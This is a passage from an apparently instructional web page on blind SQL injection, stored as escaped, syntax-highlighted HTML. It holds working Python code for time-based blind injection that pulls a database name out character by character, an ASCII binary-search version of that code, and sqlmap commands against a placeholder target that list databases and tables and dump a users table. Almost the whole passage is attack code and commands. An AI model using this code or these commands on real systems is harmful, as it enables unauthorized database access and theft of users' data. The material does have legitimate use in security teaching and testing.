&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests.exceptions.Timeout:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;elapsed &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; elapsed &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;gt;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; THRESHOLD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;max_len&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; pos &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, max_len &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; CHARS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(({query}),{pos},&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;{ch}&amp;#x26;#x27;&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(ch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;flush&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;                break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; found:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;__main__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Time&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;based extraction — this will be slow&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    db &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Database: {db}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; &lt;strong&gt;NOTE:&lt;/strong&gt; Time-based SQLi is extremely slow for long strings. Use binary search (ascii range) to optimize.&lt;/p&gt;
&lt;h3 id=&quot;optimization-with-binary-search&quot;&gt;Optimization with Binary Search&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_char_binary&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;Extract a single character using binary search on &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;ASCII&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; value.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    lo, hi &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;126&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # printable ASCII range&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    while&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;lt; hi:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        mid &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; (lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; hi) &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ASCII&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(({query}),{pos},&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;gt;{mid}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; mid &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        else&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            hi &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; mid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; chr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(lo) &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;lt;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;lt;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 126&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; else&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;using-sqlmap&quot;&gt;Using sqlmap&lt;/h2&gt;
&lt;p&gt;For professional automation, &lt;strong&gt;sqlmap&lt;/strong&gt; is the standard tool.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Basic detection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;--batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Force specific techniques&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  --technique&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;BT&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --level=3&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --risk=2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Extract database, tables, and dump&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  --dbs&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  -D&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target_db&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --tables&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --batch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sqlmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://target.com/user?id&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;  -D&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target_db&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -T&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; users&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  --dump&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
